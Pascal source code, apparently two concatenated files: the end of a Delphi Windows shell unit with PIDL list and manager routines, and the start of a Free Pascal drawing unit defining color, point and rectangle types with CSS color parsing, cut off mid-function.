Result := ShellILIsEqual(PIDL1, PIDL2)
{$ENDIF}
else
Result := False
end;
// -----------------------------------------------------------------------------
// -----------------------------------------------------------------------------
function ILIsParent(PIDL1: PItemIDList; PIDL2: PItemIDList; ImmediateParent: LongBool): LongBool;
// Wrapper around undocumented ILIsParent function. It can't take nil parameters
{$IFDEF VIRTUALNAMESPACES}
const
AllObjects = SHCONTF_FOLDERS or SHCONTF_NONFOLDERS or SHCONTF_INCLUDEHIDDEN;
var
Folder: IShellFolder;
TailPIDL1, TailPIDL2: PItemIDList;
OldCB: Word;
OldPIDL: PItemIDList;
i, Count1, Count2: Integer;
{$ENDIF}
begin
if not Assigned(ShellILIsParent) then
LoadShell32Functions;
if Assigned(PIDL1) and Assigned(PIDL2) then
{$IFDEF VIRTUALNAMESPACES}
begin
Result := False;
if NamespaceExtensionFactory.IsVirtualPIDL(PIDL1) or NamespaceExtensionFactory.IsVirtualPIDL(PIDL2) then
begin
Count1 := PIDLManager.IDCount(PIDL1);
Count2 := PIDLManager.IDCount(PIDL2);
// The Parent must have less PIDLs to be a parent!
if Count1 < Count2 then
begin
// Desktop is a special case
if (PIDL1.mkid.cb = 0) and (PIDL2.mkid.cb > 0) then
begin
if ImmediateParent then
begin
if PIDLManager.IDCount(PIDL2) = 1 then
Result := True
end else
Result := True
end else
begin
// If looking for the immediate parent and the second pidl is different
// than one greater than it can't be true
if ImmediateParent and (Count1 + 1 <> Count2) then
Exit;
Folder := NamespaceExtensionFactory.BindToVirtualParentObject(PIDL1);
TailPIDL1 := PIDLManager.GetPointerToLastID(PIDL1);
TailPIDL2 := PIDL2;
for i := 0 to PIDLManager.IDCount(PIDL1) - 2 do
TailPIDL2 := PIDLManager.NextID(TailPIDL2);
OldPIDL := PIDLManager.NextID(TailPIDL2);
OldCB := OldPIDL.mkid.cb;
OldPIDL.mkid.cb := 0;
try
Result := Folder.CompareIDs(0, TailPIDL1, TailPIDL2) = 0;
finally
OldPIDL.mkid.cb := OldCB
end;
end
end
end else
Result := ShellILIsParent(PIDL1, PIDL2, ImmediateParent)
end
{$ELSE}
Result := ShellILIsParent(PIDL1, PIDL2, ImmediateParent)
{$ENDIF}
else
Result := False
end;
// -----------------------------------------------------------------------------
function GetMyDocumentsVirtualFolder: PItemIDList;
const
MYCOMPUTER_GUID = WideString('::{450d8fba-ad25-11d0-98a8-0800361b1103}');
var
dwAttributes, pchEaten: ULONG;
Desktop: IShellFolder;
begin
Result := nil;
dwAttributes := 0;
SHGetDesktopFolder(Desktop);
pchEaten := Length(MYCOMPUTER_GUID);
if not Succeeded(Desktop.ParseDisplayName(0, nil,
PWideChar(MYCOMPUTER_GUID), pchEaten, Result, dwAttributes))
then
Result := nil
end;
{ TPIDLList }
// -----------------------------------------------------------------------------
// Specialized TList that handles PIDLs
// -----------------------------------------------------------------------------
procedure TPIDLList.Clear;
var
i: integer;
begin
if (not Destroying) or Assigned(FPIDLMgr) then
begin
if not SharePIDLs and Assigned(PIDLMgr)then
for i := 0 to Count - 1 do
PIDLMgr.FreePIDL( PItemIDList( Items[i]));
end;
inherited;
end;
procedure TPIDLList.CloneList(PIDLList: TPIDLList);
var
i: Integer;
begin
if Assigned(PIDLList) then
for i := 0 to Count - 1 do
PIDLList.CopyAdd(Items[i])
end;
function TPIDLList.CopyAdd(PIDL: PItemIDList): integer;
// Adds a Copy of the passed PIDL to the list
begin
Result := Add( PIDLMgr.CopyPIDL(PIDL));
end;
destructor TPIDLList.Destroy;
begin
FDestroying := True;
FreeAndNil(FPIDLMgr);
inherited;
end;
function TPIDLList.FindPIDL(TestPIDL: PItemIDList): Integer;
// Finds the index of the PIDL that is equivalent to the passed PIDL. This is not
// the same as an byte for byte equivalent comparison
var
i: Integer;
begin
i := 0;
Result := -1;
while (i < Count) and (Result < 0) do
begin
if PIDLMgr.EqualPIDL(TestPIDL, GetPIDL(i)) then
Result := i;
Inc(i);
end;
end;
function TPIDLList.GetPIDL(Index: integer): PItemIDList;
begin
Result := PItemIDList( Items[Index]);
end;
function TPIDLList.GetPIDLMgr: TPIDLManager;
begin
if not Assigned(FPIDLMgr) then
FPIDLMgr := TPIDLManager.Create;
Result := FPIDLMgr
end;
function TPIDLList.LoadFromFile(FileName: WideString): Boolean;
// Loads the PIDL list from a file
var
FileStream: TWideFileStream;
begin
FileStream := nil;
try
try
FileStream := TWideFileStream.Create(FileName, fmOpenRead or fmShareExclusive);
Result := LoadFromStream(FileStream);
except
Result := False;
end;
finally
FileStream.Free
end;
end;
function TPIDLList.LoadFromStream(Stream: TStream): Boolean;
// Loads the PIDL list from a stream
var
PIDLCount, i: integer;
begin
Result := True;
try
Stream.ReadBuffer(PIDLCount, SizeOf(Integer));
for i := 0 to PIDLCount - 1 do
Add( PIDLMgr.LoadFromStream(Stream));
except
Result := False;
end;
end;
function TPIDLList.SaveToFile(FileName: WideString): Boolean;
// Saves the PIDL list to a File
var
FileStream: TWideFileStream;
begin
FileStream := nil;
try
try
FileStream := TWideFileStream.Create(FileName, fmCreate or fmShareExclusive);
Result := SaveToStream(FileStream);
except
Result := False;
end;
finally
FileStream.Free
end;
end;
function TPIDLList.SaveToStream(Stream: TStream): Boolean;
// Saves the PIDL list to a stream
var
i: integer;
begin
Result := True;
try
Stream.WriteBuffer(Count, SizeOf(Count));
for i := 0 to Count - 1 do
PIDLMgr.SaveToStream(Stream, Items[i]);
except
Result := False;
end;
end;
{ TPIDLManager }
// Routines to do most anything you would want to do with a PIDL
function TPIDLManager.AppendPIDL(DestPIDL, SrcPIDL: PItemIDList): PItemIDList;
// Returns the concatination of the two PIDLs. Neither passed PIDLs are
// freed so it is up to the caller to free them.
var
DestPIDLSize, SrcPIDLSize: integer;
begin
DestPIDLSize := 0;
SrcPIDLSize := 0;
// Appending a PIDL to the DesktopPIDL is invalid so don't allow it.
if Assigned(DestPIDL) then
if not IsDesktopFolder(DestPIDL) then
DestPIDLSize := PIDLSize(DestPIDL) - SizeOf(DestPIDL^.mkid.cb);
if Assigned(SrcPIDL) then
SrcPIDLSize := PIDLSize(SrcPIDL);
Result := FMalloc.Alloc(DestPIDLSize + SrcPIDLSize);
if Assigned(Result) then
begin
if Assigned(DestPIDL) then
CopyMemory(Result, DestPIDL, DestPIDLSize);
if Assigned(SrcPIDL) then
CopyMemory(Pchar(Result) + DestPIDLSize, SrcPIDL, SrcPIDLSize);
end;
end;
function TPIDLManager.CopyPIDL(APIDL: PItemIDList): PItemIDList;
// Copies the PIDL and returns a newly allocated PIDL. It is not associated
// with any instance of TPIDLManager so it may be assigned to any instance.
var
Size: integer;
begin
if Assigned(APIDL) then
begin
Size := PIDLSize(APIDL);
Result := FMalloc.Alloc(Size);
if Result <> nil then
CopyMemory(Result, APIDL, Size);
end else
Result := nil
end;
constructor TPIDLManager.Create;
begin
inherited Create;
if SHGetMalloc(FMalloc) = E_FAIL then
fail
end;
destructor TPIDLManager.Destroy;
begin
FMalloc := nil;
inherited
end;
function TPIDLManager.EqualPIDL(PIDL1, PIDL2: PItemIDList): Boolean;
begin
Result := Boolean( ILIsEqual(PIDL1, PIDL2))
end;
procedure TPIDLManager.FreeOLEStr(OLEStr: LPWSTR);
// Frees an OLE string created by the Shell; as in StrRet
begin
FMalloc.Free(OLEStr)
end;
procedure TPIDLManager.FreePIDL(PIDL: PItemIDList);
// Frees the PIDL using the shell memory allocator
begin
if Assigned(PIDL) then
FMalloc.Free(PIDL)
end;
function TPIDLManager.CopyLastID(IDList: PItemIDList): PItemIDList;
// Returns a copy of the last PID in the list
var
Count, i: integer;
PIDIndex: PItemIDList;
begin
PIDIndex := IDList;
Count := IDCount(IDList);
if Count > 1 then
for i := 0 to Count - 2 do
PIDIndex := NextID(PIDIndex);
Result := CopyPIDL(PIDIndex);
end;
function TPIDLManager.GetPointerToLastID(IDList: PItemIDList): PItemIDList;
// Return a pointer to the last PIDL in the complex PIDL passed to it.
// Useful to overlap an Absolute complex PIDL with the single level
// Relative PIDL.
var
Count, i: integer;
PIDIndex: PItemIDList;
begin
if Assigned(IDList) then
begin
PIDIndex := IDList;
Count := IDCount(IDList);
if Count > 1 then
for i := 0 to Count - 2 do
PIDIndex := NextID(PIDIndex);
Result := PIDIndex;
end else
Result := nil
end;
function TPIDLManager.IDCount(APIDL: PItemIDList): integer;
// Counts the number of Simple PIDLs contained in a Complex PIDL.
var
Next: PItemIDList;
begin
Result := 0;
Next := APIDL;
if Assigned(Next) then
begin
while Next^.mkid.cb <> 0 do
begin
Inc(Result);
Next := NextID(Next);
end
end
end;
function TPIDLManager.IsDesktopFolder(APIDL: PItemIDList): Boolean;
// Tests the passed PIDL to see if it is the root Desktop Folder
begin
if Assigned(APIDL) then
Result := APIDL.mkid.cb = 0
else
Result := False
end;
function TPIDLManager.NextID(APIDL: PItemIDList): PItemIDList;
// Returns a pointer to the next Simple PIDL in a Complex PIDL.
begin
Result := APIDL;
Inc(PChar(Result), APIDL^.mkid.cb);
end;
function TPIDLManager.PIDLSize(APIDL: PItemIDList): integer;
// Returns the total Memory in bytes the PIDL occupies.
begin
Result := 0;
if Assigned(APIDL) then
begin
Result := SizeOf( Word); // add the null terminating last ItemID
while APIDL.mkid.cb <> 0 do
begin
Result := Result + APIDL.mkid.cb;
APIDL := NextID(APIDL);
end;
end;
end;
function TPIDLManager.PIDLToString(APIDL: PItemIDList): string;
var
Size: integer;
P: PChar;
begin
Size := PIDLSize(APIDL);
SetLength(Result, PIDLSize(APIDL));
P := @Result[1];
Move(APIDL^, P^, Size);
end;
function TPIDLManager.LoadFromFile(FileName: WideString): PItemIDList;
// Loads the PIDL from a File
var
S: TWideFileStream;
begin
S := TWideFileStream.Create(FileName, fmOpenRead);
try
Result := LoadFromStream(S);
finally
S.Free;
end;
end;
function TPIDLManager.LoadFromStream(Stream: TStream): PItemIDList;
// Loads the PIDL from a Stream
var
Size: integer;
begin
Result := nil;
if Assigned(Stream) then
begin
Stream.ReadBuffer(Size, SizeOf(Integer));
if Size > 0 then
begin
Result := FMalloc.Alloc(Size);
Stream.ReadBuffer(Result^, Size);
end
end
end;
function TPIDLManager.StringToPIDL(PIDLStr: string): PItemIDList;
var
P: PChar;
begin
Result := FMalloc.Alloc(Length(PIDLStr));
P := @PIDLStr[1];
Move(P^, Result^, Length(PIDLStr));
end;
function TPIDLManager.StripLastID(IDList: PItemIDList): PItemIDList;
// Removes the last PID from the list. Returns the same, shortened, IDList passed
// to the function
var
MarkerID: PItemIDList;
begin
Result := IDList;
MarkerID := IDList;
if Assigned(IDList) then
begin
while IDList.mkid.cb <> 0 do
begin
MarkerID := IDList;
IDList := NextID(IDList);
end;
MarkerID.mkid.cb := 0;
end;
end;
procedure TPIDLManager.SaveToFile(FileName: WideString; FileMode: Word;
PIDL: PItemIdList);
// Saves the PIDL from a File
var
S: TWideFileStream;
begin
S := TWideFileStream.Create(FileName, FileMode);
try
SaveToStream(S, PIDL);
finally
S.Free;
end;
end;
procedure TPIDLManager.SaveToStream(Stream: TStream; PIDL: PItemIdList);
// Saves the PIDL from a Stream
var
Size: Integer;
begin
Size := PIDLSize(PIDL);
Stream.WriteBuffer(Size, SizeOf(Size));
Stream.WriteBuffer(PIDL^, Size);
end;
function TPIDLManager.StripLastID(IDList: PItemIDList; var Last_CB: Word;
var LastID: PItemIDList): PItemIDList;
// Strips the last ID but also returns the pointer to where the last CB was and the
// value that was there before setting it to 0 to shorten the PIDL. All that is necessary
// is to do a LastID^ := Last_CB.mkid.cb to return the PIDL to its previous state. Used to
// temporarily strip the last ID of a PIDL
var
MarkerID: PItemIDList;
begin
Last_CB := 0;
LastID := nil;
Result := IDList;
MarkerID := IDList;
if Assigned(IDList) then
begin
while IDList.mkid.cb <> 0 do
begin
MarkerID := IDList;
IDList := NextID(IDList);
end;
Last_CB := MarkerID.mkid.cb;
LastID := MarkerID;
MarkerID.mkid.cb := 0;
end;
end;
function TPIDLManager.IsSubPIDL(FullPIDL, SubPIDL: PItemIDList): Boolean;
// Tests to see if the SubPIDL can be expanded into the passed FullPIDL
var
i, PIDLLen, SubPIDLLen: integer;
PIDL: PItemIDList;
OldCB: Word;
begin
Result := False;
if Assigned(FullPIDL) and Assigned(SubPIDL) then
begin
SubPIDLLen := IDCount(SubPIDL);
PIDLLen := IDCount(FullPIDL);
if SubPIDLLen <= PIDLLen then
begin
PIDL := FullPIDL;
for i := 0 to SubPIDLLen - 1 do
PIDL := NextID(PIDL);
OldCB := PIDL.mkid.cb;
PIDL.mkid.cb := 0;
try
Result := ILIsEqual(FullPIDL, SubPIDL);
finally
PIDL.mkid.cb := OldCB
end
end
end
end;
procedure TPIDLManager.FreeAndNilPIDL(var PIDL: PItemIDList);
var
OldPIDL: PItemIDList;
begin
OldPIDL := PIDL;
PIDL := nil;
FreePIDL(OldPIDL)
end;
function TPIDLManager.AllocStrGlobal(SourceStr: WideString): POleStr;
begin
Result := Malloc.Alloc((Length(SourceStr) + 1) * 2); // Add the null
if Result <> nil then
CopyMemory(Result, PWideChar(SourceStr), (Length(SourceStr) + 1) * 2);
end;
procedure TPIDLManager.ParsePIDL(AbsolutePIDL: PItemIDList; var PIDLList: TPIDLList;
AllAbsolutePIDLs: Boolean);
// Parses the AbsolutePIDL in to its single level PIDLs, if AllAbsolutePIDLs is true
// then each item is not a single level PIDL but an AbsolutePIDL but walking from the
// Desktop up to the passed AbsolutePIDL
var
OldCB: Word;
Head, Tail: PItemIDList;
begin
Head := AbsolutePIDL;
Tail := Head;
if Assigned(PIDLList) and Assigned(Head) then
begin
while Tail.mkid.cb <> 0 do
begin
Tail := NextID(Tail);
OldCB := Tail.mkid.cb;
try
Tail.mkid.cb := 0;
PIDLList.Add(CopyPIDL(Head));
finally
Tail.mkid.cb := OldCB;
end;
if not AllAbsolutePIDLs then
Head := Tail
end
end
end;
initialization
PIDLManager := TPIDLManager.Create;
finalization
FreeAndNil(PIDLManager);
end.
|
unit Pospolite.View.Drawing.Basics;
{
+-------------------------+
| Package: Pospolite View |
| Author: Matek0611 |
| Email: matiowo@wp.pl |
| Version: 1.0p |
+-------------------------+
Comments:
...
}
{$mode objfpc}{$H+}
{$modeswitch advancedrecords}
interface
uses
Classes, SysUtils, Graphics, FPimage, strutils, LazUTF8, Pospolite.View.Basics,
Pospolite.View.CSS.Declaration, math;
type
// https://developer.mozilla.org/en-US/docs/Web/CSS/color_value
TPLColorType = (ctHex, ctRGBWithoutAlpha, ctRGBWithAlpha, ctHSLWithoutAlpha,
ctHSLWithAlpha);
{ TPLColor }
TPLColor = packed record
strict private
FR, FG, FB, FA: Byte;
function CSSExtract(AColor: TPLString): TPLCSSPropertyValuePartFunction;
function GuessType(AF: TPLCSSPropertyValuePartFunction): TPLColorType;
function GuessIfSpaceSeparated(AF: TPLCSSPropertyValuePartFunction): TPLBool; inline;
procedure SetColor(AValue: TPLString);
procedure SetColorParsed(AFunction: TPLCSSPropertyValuePartFunction;
AFree: TPLBool = true);
public
constructor Create(AValue: TPLString);
constructor Create(ARed, AGreen, ABlue: Byte; AAlpha: Byte = 255);
class operator :=(AValue: TPLString) r: TPLColor; inline;
class operator :=(AValue: TColor) r: TPLColor;
class operator :=(AValue: TFPColor) r: TPLColor;
class operator :=(AValue: TPLCSSPropertyValuePartFunction) r: TPLColor;
class operator :=(AValue: TPLColor) r: TColor; inline;
class operator :=(AValue: TPLColor) r: TFPColor;
class operator =(AColor1, AColor2: TPLColor) r: TPLBool; inline;
function ToString(AType: TPLColorType = ctHex; ASpaceSeparated: TPLBool = false): TPLString;
function Mix(AColor: TPLColor; APercent: TPLFloat): TPLColor;
function ChangeLightness(APercent: TPLFloat = 0): TPLColor; // %: + lighten, - darken
class function Black: TPLColor; static; inline;
class function White: TPLColor; static; inline;
class function Transparent: TPLColor; static; inline;
property Red: Byte read FR write FR;
property Green: Byte read FG write FG;
property Blue: Byte read FB write FB;
property Alpha: Byte read FA write FA;
end;
PPLColor = ^TPLColor;
PPLPixel = PPLColor;
{ TPLPoint }
generic TPLPoint<T> = packed record
strict private
FX, FY: T;
public
constructor Create(AX, AY: T);
class function Empty: TPLPoint; inline; static;
function IsEmpty: TPLBool; inline;
function Rotate(APivot: TPLPoint; AAngleDeg: TPLFloat): TPLPoint;
function RotateClockwise(APivot: TPLPoint; AAngleDeg: TPLFloat): TPLPoint;
class operator :=(p: TPoint) r: TPLPoint; inline;
class operator :=(p: TPLPoint) r: TPoint; inline;
class operator not(p: TPLPoint) r: TPLPoint; inline;
class operator =(a, b: TPLPoint) r: TPLBool; inline;
class operator -(a, b: TPLPoint) r: TPLPoint; inline;
class operator +(a, b: TPLPoint) r: TPLPoint; inline;
class operator >< (a, b: TPLPoint) r: TPLFloat; inline; // distance
property X: T read FX write FX;
property Y: T read FY write FY;
end;
TPLPointI = specialize TPLPoint<TPLInt>;
TPLPointF = specialize TPLPoint<TPLFloat>;
TPLPointS = specialize TPLPoint<TPLShortInt>;
generic TPLPointArray<T> = array of specialize TPLPoint<T>;
TPLPointIArray = specialize TPLPointArray<TPLInt>;
TPLPointFArray = specialize TPLPointArray<TPLFloat>;
TPLPointSArray = specialize TPLPointArray<TPLShortInt>;
operator := (p: TPLPointF) r: TPLPointI; inline;
operator := (p: TPLPointI) r: TPLPointF; inline;
operator := (p: TPLPointS) r: TPLPointI; inline;
operator := (p: TPLPointI) r: TPLPointS; inline;
operator * (p: TPLPointF; q: TPLFloat) r: TPLPointF; inline;
operator * (q: TPLFloat; p: TPLPointF) r: TPLPointF; inline;
type
{ TPLRect }
generic TPLRect<T> = packed record
private type
TPLPointT = specialize TPLPoint<T>;
TPLTypePointer = ^T;
TPLTypePointerArray = array[0..3] of TPLTypePointer;
TPLTypeArray = array[0..3] of T;
strict private
FLeft, FTop, FWidth, FHeight: T;
function GetBottom: T;
function GetBottomLeft: TPLPointT;
function GetBottomRight: TPLPointT;
function GetMiddle: TPLPointT;
function GetRight: T;
function GetTopLeft: TPLPointT;
function GetTopRight: TPLPointT;
procedure SetBottom(AValue: T);
procedure SetRight(AValue: T);
public
constructor Create(ALeft, ATop, AWidth, AHeight: T);
function IsEmpty: TPLBool; inline;
class function Empty: TPLRect; static; inline;
function Inflate(AX, AY: T): TPLRect; overload;
function Inflate(ALeft, ATop, AWidth, AHeight: T): TPLRect; overload;
procedure SetSize(const AWidth, AHeight: T);
procedure SetPosition(const ALeft, ATop: T);
function PointsPointers: TPLTypePointerArray;
function Points: TPLTypeArray;
class operator =(a, b: TPLRect) r: TPLBool; inline;
class operator in(a, b: TPLRect) r: TPLBool; inline;
class operator in(a: TPLPointT; b: TPLRect) r: TPLBool; inline;
class operator **(a: TPLRect; b: TPLPointT) r: TPLRect; // center
class operator :=(a: TPLRect) r: TRect; inline;
class operator :=(a: TRect) r: TPLRect; inline;
property Left: T read FLeft write FLeft;
property Top: T read FTop write FTop;
property Right: T read GetRight write SetRight;
property Bottom: T read GetBottom write SetBottom;
property Width: T read FWidth write FWidth;
property Height: T read FHeight write FHeight;
property TopLeft: TPLPointT read GetTopLeft;
property TopRight: TPLPointT read GetTopRight;
property BottomLeft: TPLPointT read GetBottomLeft;
property BottomRight: TPLPointT read GetBottomRight;
property Middle: TPLPointT read GetMiddle;
end;
TPLRectI = specialize TPLRect<TPLInt>;
TPLRectF = specialize TPLRect<TPLFloat>;
operator := (p: TPLRectF) r: TPLRectI; inline;
operator := (p: TPLRectI) r: TPLRectF; inline;
type
{ TPLVector }
generic TPLVector<T, A> = packed record
public type
ElementType = T;
public
Elements: A;
private
function GetElement(const AIndex: TPLInt): T;
procedure SetElement(const AIndex: TPLInt; AValue: T);
public
constructor Create(const AData: array of T);
class function Empty: TPLVector; static;
procedure Reset;
property Element[const AIndex: TPLInt]: T read GetElement write SetElement;
end;
generic TPLVector1Array<T> = array[0..0] of T;
generic TPLVector2Array<T> = array[0..1] of T;
generic TPLVector3Array<T> = array[0..2] of T;
generic TPLVector4Array<T> = array[0..3] of T;
TPLVector1ArrayI = specialize TPLVector1Array<TPLInt>;
TPLVector2ArrayI = specialize TPLVector2Array<TPLInt>;
TPLVector3ArrayI = specialize TPLVector3Array<TPLInt>;
TPLVector4ArrayI = specialize TPLVector4Array<TPLInt>;
TPLVector1ArrayF = specialize TPLVector1Array<TPLFloat>;
TPLVector2ArrayF = specialize TPLVector2Array<TPLFloat>;
TPLVector3ArrayF = specialize TPLVector3Array<TPLFloat>;
TPLVector4ArrayF = specialize TPLVector4Array<TPLFloat>;
TPLVector1I = specialize TPLVector<TPLInt, TPLVector1ArrayI>;
TPLVector2I = specialize TPLVector<TPLInt, TPLVector2ArrayI>;
TPLVector3I = specialize TPLVector<TPLInt, TPLVector3ArrayI>;
TPLVector4I = specialize TPLVector<TPLInt, TPLVector4ArrayI>;
TPLVector1F = specialize TPLVector<TPLFloat, TPLVector1ArrayF>;
TPLVector2F = specialize TPLVector<TPLFloat, TPLVector2ArrayF>;
TPLVector3F = specialize TPLVector<TPLFloat, TPLVector3ArrayF>;
TPLVector4F = specialize TPLVector<TPLFloat, TPLVector4ArrayF>;
implementation
procedure RGB2HSL(ARed, AGreen, ABlue: byte; out AHue, ASaturation, ALightness: TPLFloat);
var
r, g, b, cmin, cmax, delta: TPLFloat;
begin
r := ARed/255;
g := AGreen/255;
b := ABlue/255;
cmin := Min(Min(r, g), b);
cmax := Max(Max(r, g), b);
delta := cmax-cmin;
AHue := 0;
ASaturation := 0;
ALightness := 0;
if delta = 0 then AHue := 0 else
if cmax = r then AHue := fmod((g-b)/delta, 6) else
if cmax = g then AHue := (b-r)/delta+2 else
AHue := (r-g)/delta+4;
AHue := RoundTo(AHue*60, -1);
if AHue < 0 then AHue := AHue+360;
ALightness := (cmax+cmin)/2;
if delta = 0 then ASaturation := 0 else ASaturation := delta/(1-abs(2*ALightness-1));
ASaturation := RoundTo(ASaturation*100, -1);
ALightness := RoundTo(ALightness*100, -1);
end;
procedure HSL2RGB(AHue, ASaturation, ALightness: TPLFloat; out ARed, AGreen, ABlue: byte);
var
h, s, l, x, c, m, r, g, b: TPLFloat;
begin
h := AHue;
s := ASaturation/100;
l := ALightness/100;
c := (1-abs(2*l-1))*s;
x := c*(1-abs(fmod(h/60, 2) -1));
m := l-c/2;
ARed := 0;
AGreen := 0;
ABlue := 0;
r := 0;
g := 0;
b := 0;
if ((0 <= h) or (h = 360)) and (h < 60) then begin
r := c;
g := x;
b := 0;
end else if (60 <= h) and (h < 120) then begin
r := x;
g := c;
b := 0;
end else if (120 <= h) and (h < 180) then begin
r := 0;
g := c;
b := x;
end else if (180 <= h) and (h < 240) then begin
r := 0;
g := x;
b := c;
end else if (240 <= h) and (h < 300) then begin
r := x;
g := 0;
b := c;
end else if (300 <= h) and (h < 360) then begin
r := c;
g := 0;
b := x;
end;
ARed := round((r+m)*255);
AGreen := round((g+m)*255);
ABlue := round((b+m)*255);
end;
{ TPLColor }
function TPLColor.CSSExtract(AColor: TPLString
): TPLCSSPropertyValuePartFunction;
var
list: TPLCSSPropertyValueParts;
spart: string = '';
i: integer;
begin
list := TPLCSSPropertyValueParts.Create(false);
try
TPLCSSPropertyParser.ParsePropertyValue(AColor, list);
if (list.Count = 1) and (list[0] is TPLCSSPropertyValuePartStringOrIdentifier) then begin
for i := low(STANDARD_HTML_COLORS) to High(STANDARD_HTML_COLORS) do begin
if STANDARD_HTML_COLORS[i][0].ToLower = list[0].AsString.ToLower then begin
spart := STANDARD_HTML_COLORS[i][1];
break;
end;
end;
if spart.IsEmpty then Result := TPLCSSPropertyValuePartFunction.Create('rgb(0 0 0)') else begin
list.FreeObjects := true;
list.Clear;
list.FreeObjects := false;
TPLCSSPropertyParser.ParsePropertyValue(spart, list);
Result := list[0] as TPLCSSPropertyValuePartFunction;
list.Clear;
end;
end else if (list.Count = 1) and (list[0] is TPLCSSPropertyValuePartFunction) and
AnsiMatchStr(TPLCSSPropertyValuePartFunction(list[0]).Name.ToLower,
['#', 'rgb', 'rgba', 'hsl', 'hsla']) and
(TPLCSSPropertyValuePartFunction(list[0]).Arguments.Count > 0) then begin
Result := list[0] as TPLCSSPropertyValuePartFunction;
list.Remove(list[0]);
end else Result := TPLCSSPropertyValuePartFunction.Create('rgb(0 0 0)');
finally
list.FreeObjects := true;
list.Free;
end;
end;
function TPLColor.GuessType(AF: TPLCSSPropertyValuePartFunction): TPLColorType;
begin
case AF.Name.ToLower of
'#': Result := ctHex;
'rgb', 'rgba': if AF.Arguments.Count > 3 then Result := ctRGBWithAlpha else Result := ctRGBWithoutAlpha;
'hsl', 'hsla': if AF.Arguments.Count > 3 then Result := ctHSLWithAlpha else Result := ctHSLWithoutAlpha;
else Result := ctHex;
end;
end;
function TPLColor.GuessIfSpaceSeparated(AF: TPLCSSPropertyValuePartFunction
): TPLBool;
begin
Result := (AF.Arguments.Count = 5) and (AF.Arguments[3] is TPLCSSPropertyValuePartStringOrIdentifier);
end;
procedure TPLColor.SetColor(AValue: TPLString);
begin
SetColorParsed(CSSExtract(AValue));
end;
procedure TPLColor.SetColorParsed(AFunction: TPLCSSPropertyValuePartFunction;
AFree: TPLBool);
var
func: TPLCSSPropertyValuePartFunction absolute AFunction;
issep: TPLBool;
typ: TPLColorType;
pom: TPLString;
procedure SetDefault;
begin
FR := 0;
FG := 0;
FB := 0;
FA := 255;
end;
function GetRGBArgVal(AArg: TPLCSSPropertyValuePart): Byte;
var
w: TPLFloat;
begin
Result := 0;
if AArg is TPLCSSPropertyValuePartNumber then begin
w := TPLCSSPropertyValuePartNumber(AArg).Value;
if w < 0 then w := 0 else if w > 255 then w := 255;
Result := round(w);
end else if (AArg is TPLCSSPropertyValuePartDimension) and (TPLCSSPropertyValuePartDimension(AArg).&Unit = '%') then begin
w := (TPLCSSPropertyValuePartDimension(AArg).Value / 100) * 255;
if w < 0 then w := 0 else if w > 255 then w := 255;
Result := round(w);
end;
end;
function GetAlphaVal(AArg: TPLCSSPropertyValuePart): Byte;
var
w: TPLFloat;
begin
Result := 0;
if AArg is TPLCSSPropertyValuePartNumber then begin
w := TPLCSSPropertyValuePartNumber(AArg).Value * 255;
if w < 0 then w := 0 else if w > 255 then w := 255;
Result := round(w);
end else if (AArg is TPLCSSPropertyValuePartDimension) and (TPLCSSPropertyValuePartDimension(AArg).&Unit = '%') then begin
w := (TPLCSSPropertyValuePartDimension(AArg).Value / 100) * 255;
if w < 0 then w := 0 else if w > 255 then w := 255;
Result := round(w);
end;
end;
var
h, s, l: TPLFloat;
begin
//func := CSSExtract(AValue);
try
issep := GuessIfSpaceSeparated(func);
typ := GuessType(func);
case typ of
ctHex: begin
pom := func.Arguments[0].AsString;
case pom.Length of
3, 4: begin
FR := (pom[1] * 2).FromHex;
FG := (pom[2] * 2).FromHex;
FB := (pom[3] * 2).FromHex;
if pom.Length = 4 then FA := (pom[4] * 2).FromHex else FA := 255;
end;
6, 8: begin
FR := pom.SubStr(1, 2).FromHex;
FG := pom.SubStr(3, 2).FromHex;
FB := pom.SubStr(5, 2).FromHex;
if pom.Length = 8 then FA := pom.SubStr(7, 2).FromHex else FA := 255;
end
else SetDefault;
end;
end;
ctRGBWithoutAlpha, ctRGBWithAlpha: begin
if (func.Arguments.Count < 3) or (func.Arguments.Count > 5) then SetDefault else begin
FR := GetRGBArgVal(func.Arguments[0]);
FG := GetRGBArgVal(func.Arguments[1]);
FB := GetRGBArgVal(func.Arguments[2]);
if typ = ctRGBWithAlpha then FA := GetAlphaVal(func.Arguments[ifthen(issep, 4, 3)]) else FA := 255;
end;
end;
ctHSLWithoutAlpha, ctHSLWithAlpha: begin
if (func.Arguments.Count < 3) or (func.Arguments.Count > 5) then SetDefault else begin
if func.Arguments[0] is TPLCSSPropertyValuePartNumber then h := AngleDeg(TPLCSSPropertyValuePartNumber(func.Arguments[0]).Value) else
if func.Arguments[0] is TPLCSSPropertyValuePartDimension then h := AngleDeg(TPLCSSPropertyValuePartDimension(func.Arguments[0]).Value, TPLCSSPropertyValuePartDimension(func.Arguments[0]).&Unit) else
h := 0;
if (func.Arguments[1] is TPLCSSPropertyValuePartDimension) and (TPLCSSPropertyValuePartDimension(func.Arguments[1]).&Unit = '%') then begin
s := TPLCSSPropertyValuePartDimension(func.Arguments[1]).Value;
if s > 100 then s := 100;
if s < 0 then s := 0;
end else s := 0;
if (func.Arguments[2] is TPLCSSPropertyValuePartDimension) and (TPLCSSPropertyValuePartDimension(func.Arguments[2]).&Unit = '%') then begin
l := TPLCSSPropertyValuePartDimension(func.Arguments[2]).Value;
if l > 100 then l := 100;
if l < 0 then l := 0;
end else l := 0;
HSL2RGB(h, s, l, FR, FG, FB);
if typ = ctHSLWithAlpha then FA := GetAlphaVal(func.Arguments[ifthen(issep, 4, 3)]) else FA := 255;
end;
end;
end;
finally
if AFree then func.Free;
end;
end;
constructor TPLColor.Create(AValue: TPLString);
begin
SetColor(AValue);
end;
constructor TPLColor.Create(ARed, AGreen, ABlue: Byte; AAlpha: Byte);
begin
FR := ARed;
FG := AGreen;
FB := ABlue;
FA := AAlpha;
end;
class operator TPLColor.:=(AValue: TPLString) r: TPLColor;
begin
r := TPLColor.Create(AValue);
end;
class operator TPLColor.:=(AValue: TColor) r: TPLColor;
begin
r := Default(TPLColor);
r.FR := Graphics.Red(AValue);
r.FG := Graphics.Green(AValue);
r.FB := Graphics.Blue(AValue);
r.FA := 255;
end;
class operator TPLColor.:=(AValue: TFPColor) r: TPLColor;
var
c: TColor;
begin
r := Default(TPLColor);
c := FPColorToTColor(AValue);
r.Red := Graphics.Red(c);
r.Green := Graphics.Green(c);
r.Blue := Graphics.Blue(c);
r.Alpha := round(AValue.alpha / $FFFF * 255);
end;
class operator TPLColor.:=(AValue: TPLCSSPropertyValuePartFunction) r: TPLColor;
begin
r := Default(TPLColor);
